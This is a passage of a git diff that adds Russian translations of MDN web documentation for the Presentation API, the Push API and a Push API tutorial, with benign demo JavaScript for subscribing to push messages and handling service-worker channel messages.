+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Presentation','#interface-presentation','Presentation interface')}}</td>
+   <td>{{Spec2('Presentation')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatChrome (48.0)}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome (48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html
new file mode 100644
index 0000000000..2581e73e03
--- /dev/null
+++ b/files/ru/web/api/push_api/index.html
@@ -0,0 +1,186 @@
+---
+title: Push API
+slug: Web/API/Push_API
+tags:
+  - API
+  - Ссылка
+  - Уведомления
+  - Экспериментальная
+translation_of: Web/API/Push_API
+---
+<p>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</p>
+
+<p><strong>Push API</strong> дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , <a href="/en-US/docs/Web/API/Simple_Push_API">смотрите здесь</a>.</p>
+</div>
+
+<h2 id="Общие_сведения_об_использовании_push_уведомлений">Общие сведения об использовании push уведомлений</h2>
+
+<div class="warning">
+<p><span id="result_box" lang="ru"><span>При внедрении подписки PushManager, жизненно важно защищать запросы от CSRF/XSRF атак в вашем приложении.</span> </span><span lang="ru"><span> </span></span></p>
+
+<p><span lang="ru"><span>Дополнительную информацию см. В следующих статьях:</span></span></p>
+
+<ul>
+ <li><a href="https://habr.com/post/318748/">Методы защиты от CSRF-атаки</a></li>
+ <li><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">Site Request Forgery (CSRF) Prevention Cheat Sheet</a></li>
+ <li><a href="/ru/docs/https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/">Preventing CSRF and XSRF Attacks</a></li>
+</ul>
+</div>
+
+<p>Для получения push уведомлений приложение должно иметь активный <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>. Когда service worker активен, оно может подписаться на push уведомления используя {{domxref("PushManager.subscribe()")}}.</p>
+
+<p>Полученный объект {{domxref("PushSubscription")}} включает в себя всю необходимую информацию, которая может потребоваться приложению чтобы отправить push уведомление: адрес и ключ шифрования, необходимые для отправки данных.</p>
+
+<p>Service worker будет запущен для того чтобы обрабатывать входящие push сообщения, которые будут доставлены в {{domxref("ServiceWorkerGlobalScope.onpush")}} обработчик события. Это позволит приложению реагировать на push сообщения, к примеру показывать нотификации через метод {{domxref("ServiceWorkerRegistration.showNotification()")}}.</p>
+
+<p>Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.</p>
+
+<p>Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, разрешенная квота push-</span></span>уведомлений<span lang="ru"><span> для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд.</span> <span>Это обрабатывает случаи, когда получены несколько Push </span></span>уведомлений подряд<span lang="ru"><span> и не все генерируют видимое уведомление.</span></span></p>
+</div>
+
+<div class="note">
+<p><strong>Примечание</strong>: Так же Chrome обязывает регистрировать проект в <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> для отправки push сообщений, а также использовать присвоенный номер проекта и API ключ когда отправляются push уведомления. К тому же требуется наличие манифеста приложения с некоторыми параметрами для использования этого сервиса. Возможно эти ограничения будут убраны в будущем.</p>
+</div>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Представляет собой push действие отправленное в <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> {{domxref("ServiceWorker")}}-а. Содержит информацию отправленную в {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Предоставляет способ для получения уведомлений из сторонних серверов, а также из URL запросов для push уведомлений. Этот интерфейс заменил устаревшую функциональность интерфейса {{domxref("PushRegistrationManager")}}.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Предоставляет доступ к push данным отправленным сервером и включает методы для манипулирования полученными данными.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Предоставляет конечную точку URL подписки и позволяет отписаться от push сервиса.</dd>
+</dl>
+
+<h2 id="Служебный_работник_дополнения">Служебный работник дополнения</h2>
+
+<p>Следущие дополнения к <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> описанные в спецификации Push API, представляют собой первостепенные действия для использования Push сообщений, а также для обработки push событий.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Возвращает ссылку на интерфейс {{domxref("PushManager")}} для манипулирования push подписок включая подписование, получение активной подписки и доступ к статусу push разрешения. Это входная точка к обмену push сообщениями.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>Данный обработчик событий вызывается всякий раз когда происходит событие {{Event("push")}}; то есть всегда когда принимается push сообщение сервера.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>Данный обработчик событий вызывается всякий раз когда происходит событие {{Event("pushsubscriptionchange")}}; например, когда push подписка стала недействительной или собирается быть недействительной (к примеру, когда push сервис устанавливает время истечения.)</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Push API")}}</td>
+   <td>{{Spec2("Push API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PushEvent.data")}},<br>
+    {{domxref("PushMessageData")}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PushEvent.data")}},<br>
+    {{domxref("PushMessageData")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В настоящее время доступно только для настольных версий Firefox; также push-сообщения доставляются только во время работы Firefox.</p>
+
+<p>[2]: <a href="https://dev.modern.ie/platform/status/pushapi/">Microsoft Edge status: In Development</a></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a></li>
+ <li><a href="https://github.com/chrisdavidmills/push-api-demo">Push API Demo</a>, на Github</li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 46px; top: 3314.75px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/api/push_api/using_the_push_api/index.html b/files/ru/web/api/push_api/using_the_push_api/index.html
new file mode 100644
index 0000000000..6e5b1124da
--- /dev/null
+++ b/files/ru/web/api/push_api/using_the_push_api/index.html
@@ -0,0 +1,419 @@
+---
+title: Использование Push API
+slug: Web/API/Push_API/Using_the_Push_API
+translation_of: Web/API/Push_API
+---
+<p class="summary"><span class="seoSummary">W3C <a href="/en-US/docs/Web/API/Push_API">Push API</a> предоставляет некоторый захватывающий новый функционал для разработчиков для использования в web-приложениях: эта статья предлагает вводную информацию о том, как настроить Push-уведомления и управлять ими, с помощью простого демо.</span></p>
+
+<p>Возможность посылать сообщения или уведомления от сервера клиенту в любое время — независимо от того, активно приложение или нет — было прерогативой нативных приложений некоторое время, и наконец пришло в Web! Поддерживается большинства возможностей Push сейчас возможна в браузерах Firefox 43+ и Chrome 42+ на настольных компьютерах, мобильные платформы, возможно, скоро присоединятся. {{domxref("PushMessageData")}} на данный момент экспериментально поддерживаются только в Firefox Nightly (44+), и реализация может меняться.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Ранние версии Firefox OS использовали проприетарную версию этого API вызывая <a href="/en-US/docs/Web/API/Simple_Push_API">Simple Push</a>. Считается устаревшим по стандартам Push API.</p>
+</div>
+
+<h2 id="Демо_основы_простого_сервера_чат-приложения">Демо: основы простого сервера чат-приложения</h2>
+
+<p>Демо, котрые мы создали, представляет начальное описание простого чат-приложения. Оно представляет собой форму, в которую вводятся данные, и кнопку для подписки на push-сообщения . Как только кнопка будет нажата, вы подпишитесь на push-сообщения, ваши данные будут записаны на сервере, а отправленное push-сообщение сообщит всем текущим подписчикам, что кто-то подписался.</p>
+
+<p>На данном этапе, имя нового подписчика появится в списке подписчиков, вместе с текстовым полем и кнопкой рассылки, чтобы позволить подписчику отправить сообщение.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11823/push-api-demo.png" style="border: 1px solid black; display: block; height: 406px; margin: 0px auto; width: 705px;"></p>
+
+<p>Чтобы запустить демо, следуйте инструкциям на странице <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Заметте, что серверная компонента все еще нуждается в небольшой доработке для запуска в Chrome и в общем запусается более разумным путем. Но аспекты Push все еще могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.</p>
+
+<h2 id="Обзор_технологии">Обзор технологии</h2>
+
+<p>Эта секция предоставляет описание того, какие технологии учавствуют в примере.</p>
+
+<p>Web Push-сообщения это часть семейства технологий <a href="/en-US/docs/Web/API/Service_Worker_API">сервис воркеров</a>; в первую очередь, для получения push-сообщений сервис воркер должен быть активирован на странице. Сервис воркер получает push-сообщения, и затем вы сами решаете, как уведомить об этом страницу. Вы можете:</p>
+
+<ul>
+ <li>Отправить <a href="/en-US/docs/Web/API/Notifications_API">Web-уведомление</a>, которое вызовет всплытие системного уведомления. Для этого необходимо подтверждение разрешения на отправку push-сообщений.</li>
+ <li>Отправить сообщение обратно главной странице через {{domxref("MessageChannel")}}.</li>
+</ul>
+
+<p>Обычно необходима комбинация этих двух решений; демо внизу включает пример обоих.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вам необходим некоторый код, запущенный на сервере, для управления конечной точкой/шифроманием данных и отправки запросов push-сообщений. В нашем демо мы собрали на скорую руку сервер, используя <a href="https://nodejs.org/">NodeJS</a>.</p>
+</div>
+
+<p>Сервис воркер так же должен подписаться на сервис push-сообщений. Каждой сессии предоставляется собственная уникальная конечная точка, когда она подписывается на сервис push-сообщений. Эта конечная точка получается из свойства  ({{domxref("PushSubscription.endpoint")}}) объекта подписчика. Она может быть отправлена серверу и использоваться для пересылки сообщений активному сервис воркеру сессии. Каждый браузер имеет свой собсвтенный сервер push-сообщений для  управления отправкой push-сообщений.</p>
+
+<h3 id="Шифрование">Шифрование</h3>
+
+<div class="note">
+<p><strong>Примечание</strong>: Для интерактивного краткого обзора, попробуйте JR Conlin's <a href="https://jrconlin.github.io/WebPushDataTestPage/">Web Push Data Encryption Test Page</a>.</p>
+</div>
+
+<p>Для отправки данных с помошью push-сообщений необходимо шифрование. Для этого необходим публичный ключ, созданный с использованием метода  {{domxref("PushSubscription.getKey()")}}, который основывается на некотором комплексе механизмов шифрования, которые выполняются на стороне сервера; читайте <a href="https://tools.ietf.org/html/draft-ietf-webpush-encryption-01">Message Encryption for Web Push</a>. Со временем появятся библиотеки для управления генерацией ключей и шифроманием/дешифрованием push-сообщений; для этого демо мы используем Marco Castelluccio's NodeJS <a href="https://github.com/marco-c/web-push">web-push library</a>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Есть так же другая библиотека для управления шифрованием с помошью Node и Python, смотри <a href="https://github.com/martinthomson/encrypted-content-encoding">encrypted-content-encoding</a>.</p>
+</div>
+
+<h3 id="Обобщение_рабочего_процесса_Push">Обобщение рабочего процесса Push</h3>
+
+<p>Общие сведения ниже это то, что необходимо для реализации push-сообщений. Вы можете найти больше информации о некоторых частях демо в последующих частях.</p>
+
+<ol>
+ <li>Запрос на разрешение web-уведомлений или что-то другое, что вы используете и для чего необходимо разрешение.</li>
+ <li>Регистрация сервис воркера для контроля над страницей с помошью вызова {{domxref("ServiceWorkerContainer.register()")}}.</li>
+ <li>Подписка на сервис push-уведомлений с помошью {{domxref("PushManager.subscribe()")}}.</li>
+ <li>Запрашивание конечной точки, соответствующей подписчику, и генерация публичного ключа клиента ({{domxref("PushSubscription.endpoint")}} и {{domxref("PushSubscription.getKey()")}}. Заметте, что <code>getKey()</code> на данный момент эксперементальная технологий и доступна только в Firefox.)</li>
+ <li>Отправка данных на сервер, чтобы тот мог присылать push-сообщения, когда необходимо. Это демо использует {{domxref("XMLHttpRequest")}}, но вы можете использовать <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>.</li>
+ <li>Если вы используете <a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> для связи с сервис воркером, установите новый канал связи ({{domxref("MessageChannel.MessageChannel()")}}) и отправте <code>port2</code> сервис воркеру с помошью вызова {{domxref("Worker.postMessage()")}} для того, чтобы открыть канал связи. Вы так же должны настроить слушателя для ответов на сообщения, которые будут отправляться обратно с сервис воркера.</li>
+ <li>На стороне сервера сохраните конечную точку и все остальные необходимые данные, чтобы они были доступны, когда будет необходимо отправить push-сообщение добавленному подписчику (мы используем простой текстовый файл, но вы можете использовать базу данных или все что угодно на ваш вкус). В приложении на продакшене убедитесь, что скрываете эти данные, так что злоумышленники не смогут украсть конечную точку и разослать спам подписчикам в push-сообщениях.</li>
+ <li>Для отправки push-сообщений необходимо отослать HTTP <code>POST</code> конечному URL. Запрос должен включать <code>TTL</code> заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать ее (что включает публичнй ключ клиента). В нашем примере мы используем <a href="https://github.com/marco-c/web-push">web-push</a> модуль, который управляет всей тяжелой работой.</li>
+ <li>Поверх в сервис воркере настройте обработчик событий <code>push</code> для ответов на полученные push-сообщения.
+  <ol>
+   <li>Если вы хотите отвечать отправкой сообщения канала обратно основному контексту (смотри шаг 6), необходимо сначала получить ссылку на <code>port2,</code> который был отправлен контексту сервис воркера ({{domxref("MessagePort")}}). Это доступно в объекте  {{domxref("MessageEvent")}}, передаваемого обработчику <code>onmessage </code>({{domxref("ServiceWorkerGlobalScope.onmessage")}}). Конкретнее, он находится в свойстве <code>ports</code>, индекс 0. Когда это сделано, вы можете отправить сообщение обратно <code>port1</code>, используя {{domxref("MessagePort.postMessage()")}}.</li>
+   <li>Если вы хотитет ответить запуском системного уведомления, вы можете сделать это, вызвав {{domxref("ServiceWorkerRegistration.showNotification()")}}. Заметте, что в нашем коде мы вызываем его внутри метода {{domxref("ExtendableEvent.waitUntil()")}} — это растягивает время жизни события, пока уведомление не будет запущено, так что мы можем убедиться, что все, что мы хотели, чтобы произошло, действительно произошло.<span id="cke_bm_307E" style="display: none;"> </span></li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Сборка_демо">Сборка демо</h2>
+
+<p>Давайте пройдемся по коду для демо, чтобы понять, как все работает.</p>
+
+<h3 id="HTML_и_CSS">HTML и CSS</h3>
+
+<p>Нет ничего примечательного в HTML и CSS демо; HTML содержит простую форму для ввода данных для фхода в чат, кнопку для подписки на push-уведомления и двух списков, в которых перечислены подписчики и сообщения чата. После подписки появляются дополнительные средства для того, чтобы пользователь мог ввести сообщение в чат.</p>
+
+<p>CSS был оставлен очень минимальным, чтобы не отвлекать от объяснения того, как функционируют Push API.</p>
+
+<h3 id="Основной_файл_JavaScript">Основной файл JavaScript</h3>
+
+<p> JavaScript очевидно намного более существенный. Давайте взглянем на основной файл JavaScript.</p>
+
+<h4 id="Переменные_и_начальные_настройки">Переменные и начальные настройки</h4>
+
+<p>Для начала определим некоторые переменные, которые будем использовать в нашем приложении:</p>
+
+<pre class="brush: js">var isPushEnabled = false;
+var useNotifications = false;
+
+var subBtn = document.querySelector('.subscribe');
+var sendBtn;
+var sendInput;
+
+var controlsBlock = document.querySelector('.controls');
+var subscribersList = document.querySelector('.subscribers ul');
+var messagesList = document.querySelector('.messages ul');
+
+var nameForm = document.querySelector('#form');
+var nameInput = document.querySelector('#name-input');
+nameForm.onsubmit = function(e) {
+  e.preventDefault()
+};
+nameInput.value = 'Bob';</pre>
+
+<p>Сначала нам необходимо создать две булевы переменные, для того чтобы отслеживать подписку на push-сообщения и подтверждение разрешения на рассылку уведомлений.</p>
+
+<p>Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаем переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).<br>
+ <br>
+ Следующие переменные перехватывают ссылки на три основные {{htmlelement("div")}} элемента, так что мы можем включить в них элементы (к примеру, когда появится кнопка <em>Отправки Сообщения Чата</em> или сообщение появится с писке <em>Сообщений</em>).</p>
+
+<p>Finally we grab references to our name selection form and {{htmlelement("input")}} element, give the input a default value, and use <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> to stop the form submitting when the form is submitted by pressing return.</p>
+
+<p>Next, we request permission to send web notifications, using {{domxref("Notification.requestPermission","requestPermission()")}}:</p>
+
+<pre class="brush: js">Notification.requestPermission();</pre>
+
+<p>Now we run a section of code when <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code> is fired, to start up the process of inialising the app when it is first loaded. First of all we add a click event listener to the subscribe/unsubscribe button that runs our <code>unsubscribe()</code> function if we are already subscribed (<code>isPushEnabled</code> is <code>true</code>), and <code>subscribe()</code> otherwise:</p>
+
+<pre class="brush: js">window.addEventListener('load', function() {
+  subBtn.addEventListener('click', function() {
+    if (isPushEnabled) {
+      unsubscribe();
+    } else {
+      subscribe();
+    }
+  });</pre>
+
+<p>Next we check to see if service workers are supported. If so, we register a service worker using {{domxref("ServiceWorkerContainer.register()")}}, and run our <code>initialiseState()</code> function. If not, we deliver an error message to the console.</p>
+
+<pre class="brush: js">  // Check that service workers are supported, if so, progressively
+  // enhance and add push messaging support, otherwise continue without it.
+  if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('sw.js').then(function(reg) {
+      if(reg.installing) {
+        console.log('Service worker installing');
+      } else if(reg.waiting) {
+        console.log('Service worker installed');
+      } else if(reg.active) {
+        console.log('Service worker active');
+      }
+
+      initialiseState(reg);
+    });
+  } else {
+    console.log('Service workers aren\'t supported in this browser.');
+  }
+});
+</pre>
+
+<p>The next thing in the source code is the <code>initialiseState()</code> function — for the full commented code, look at the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js"><code>initialiseState()</code> source on Github</a> (we are not repeating it here for brevity's sake.)</p>
+
+<p><code>initialiseState()</code> first checks whether notifications are supported on service workers, then sets the <code>useNotifications</code> variable to <code>true</code> if so. Next, it checks whether said notifications are permitted by the user, and if push messages are supported, and reacts accordingly to each.</p>
+
+<p>Finally, it uses {{domxref("ServiceWorkerContainer.ready()")}} to wait until the service worker is active and ready to start doing things. Once its promise resolves, we retrieve our subscription to push messaging using the {{domxref("ServiceWorkerRegistration.pushManager")}} property, which returns a {{domxref("PushManager")}} object that we then call {{domxref("PushManager.getSubscription()")}} on. Once this second inner promise resolves, we enable the subscribe/unsubscribe button (<code>subBtn.disabled = false;</code>), and check that we have a subscription object to work with.</p>
+
+<p>If we do, then we are already subscribed. This is possible when the app is not open in the browser; the service worker can still be active in the background. If we're subscribed, we update the UI to show that we are subscribed by updating the button label, then we set <code>isPushEnabled</code> to <code>true</code>, grab the subscription endpoint from {{domxref("PushSubscription.endpoint")}}, generate a public key using {{domxref("PushSubscription.getKey()")}}, and run our <code>updateStatus()</code> function, which as you'll see later communicates with the server.</p>
+
+<p>As an added bonus, we set up a new {{domxref("MessageChannel")}} using the {{domxref("MessageChannel.MessageChannel()")}} constructor, grab a reference to the active service worker using {{domxref("ServiceworkerRegistration.active")}}, then set up a channel betweeen the main browser context and the service worker context using {{domxref("Worker.postMessage()")}}. The browser context receives messages on {{domxref("MessageChannel.port1")}}; whenever that happens, we run the <code>handleChannelMessage()</code> function to decide what to do with that data (see the {{anch("Handling channel messages sent from the service worker")}} section).</p>
+
+<h4 id="Subscribing_and_unsubscribing">Subscribing and unsubscribing</h4>
+
+<p>Let's now turn our attention to the <code>subscribe()</code> and <code>unsubscribe()</code> functions used to subscribe/unsubscribe to the push notification service.</p>
+
+<p>In the case of subscription, we again check that our service worker is active and ready by calling {{domxref("ServiceWorkerContainer.ready()")}}. When the promise resolves, we subscribe to the service using {{domxref("PushManager.subscribe()")}}. If the subscription is successful, we get a {{domxref("PushSubscription")}} object, extract the subscription endpoint from this and generate a public key (again, {{domxref("PushSubscription.endpoint")}} and {{domxref("PushSubscription.getKey()")}}), and pass them to our <code>updateStatus()</code> function along with the update type (<code>subscribe</code>) to send the necessary details to the server.</p>
+
+<p>We also make the necessary updates to the app state (set <code>isPushEnabled</code> to <code>true</code>) and UI (enable the subscribe/unsubscribe button and set its label text to show that the next time it is pressed it will unsubscribe.)</p>
+
+<p>The <code>unsubscribe()</code> function is pretty similar in structure, but it basically does the opposite; the most notable difference is that it gets the current subscription using {{domxref("PushManager.getSubscription()")}}, and when that promise resolves it unsubscribes using {{domxref("PushSubscription.unsubscribe()")}}.</p>
+
+<p>Appropriate error handling is also provided in both functions.  </p>
+
+<p>We only show the <code>subscribe()</code> code below, for brevity; see the full <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js">subscribe/unsubscribe code on Github</a>.</p>
+
+<pre class="brush: js">function subscribe() {
+  // Disable the button so it can't be changed while
+  // we process the permission request
+
+  subBtn.disabled = true;
+
+  navigator.serviceWorker.ready.then(function(reg) {
+    reg.pushManager.subscribe({userVisibleOnly: true})
+      .then(function(subscription) {
+        // The subscription was successful
+        isPushEnabled = true;
+        subBtn.textContent = 'Unsubscribe from Push Messaging';
+        subBtn.disabled = false;
+
+        // Update status to subscribe current user on server, and to let
+        // other users know this user has subscribed
+        var endpoint = subscription.endpoint;
+        var key = subscription.getKey('p256dh');
+        updateStatus(endpoint,key,'subscribe');
+      })
+      .catch(function(e) {
+        if (Notification.permission === 'denied') {
+          // The user denied the notification permission which
+          // means we failed to subscribe and the user will need
+          // to manually change the notification permission to
+          // subscribe to push messages
+          console.log('Permission for Notifications was denied');
+
+        } else {
+          // A problem occurred with the subscription, this can
+          // often be down to an issue or lack of the gcm_sender_id
+          // and / or gcm_user_visible_only
+          console.log('Unable to subscribe to push.', e);
+          subBtn.disabled = false;
+          subBtn.textContent = 'Subscribe to Push Messaging';
+        }
+      });
+  });
+}</pre>
+
+<h4 id="Updating_the_status_in_the_app_and_server">Updating the status in the app and server</h4>
+
+<p>The next function in our main JavaScript is <code>updateStatus()</code>, which updates the UI for sending chat messages when subscribing/unsubscribing and sends a request to update this information on the server.</p>
+
+<p>The function does one of three different things, depending on the value of the <code>statusType</code> parameter passed into it:</p>
+
+<ul>
+ <li><code>subscribe</code>: The button and text input for sending chat messages are created and inserted into the UI, and an object is sent to the server via XHR containing the status type (<code>subscribe</code>), username of the subscriber, subscription endpoint, and client public key.</li>
+ <li><code>unsubscribe</code>: This basically works in the opposite way to subscribe — the chat UI elements are removed, and an object is sent to the server to tell it that the user has unsubscribed.</li>
+ <li><code>init</code>: This is run when the app is first loaded/initialised — it creates the chat UI elements, and sends an object to the server to tell it that which user has reinitialised (reloaded.)</li>
+</ul>
+
+<p>Again, we have not included the entire function listing for brevity. Examine the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js">full <code>updateStatus()</code> code on Github</a>.</p>
+
+<h4 id="Handling_channel_messages_sent_from_the_service_worker">Handling channel messages sent from the service worker</h4>
+
+<p>As mentioned earlier, when a <a href="/en-US/docs/Web/API/Channel_Messaging_API">channel message</a> is received from the service worker, our <code>handleChannelMessage()</code> function is called to handle it. This is done by our handler for the {{event("message")}} event, {{domxref("channel.port1.onmessage")}}:</p>
+
+<pre class="brush: js">channel.port1.onmessage = function(e) {
+  handleChannelMessage(e.data);
+}</pre>
+
+<p>This occurs when the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/sw.js#L8">service worker sends a channel message over</a>.</p>
+
+<p>The <code>handleChannelMessage()</code> function looks like this:</p>
+
+<pre class="brush: js">function handleChannelMessage(data) {
+  if(data.action === 'subscribe' || data.action === 'init') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name;
+    subscribersList.appendChild(listItem);
+  } else if(data.action === 'unsubscribe') {
+    for(i = 0; i &lt; subscribersList.children.length; i++) {
+      if(subscribersList.children[i].textContent === data.name) {
+        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
+      }
+    }
+    nameInput.disabled = false;
+  } else if(data.action === 'chatMsg') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name + ": " + data.msg;
+    messagesList.appendChild(listItem);
+    sendInput.value = '';
+  }
+}</pre>
+
+<p>What happens here depends on what the <code>action</code> property on the <code>data</code> object is set to:</p>
+
+<ul>
+ <li><code>subscribe</code> or <code>init</code> (at both startup and restart, we need to do the same thing in this sample): An {{htmlelement("li")}} element is created, its text content is set to <code>data.name</code> (the name of the subscriber), and it is appended to the subscribers list (a simple {{htmlelement("ul")}} element) so there is visual feedback that a subscriber has (re)joined the chat.</li>
+ <li><code>unsubscribe</code>: We loop through the children of the subscribers list, find the one whose text content is equal to <code>data.name</code> (the name of the unsubscriber), and delete that node to provide visual feedback that someone has unsubscribed.</li>
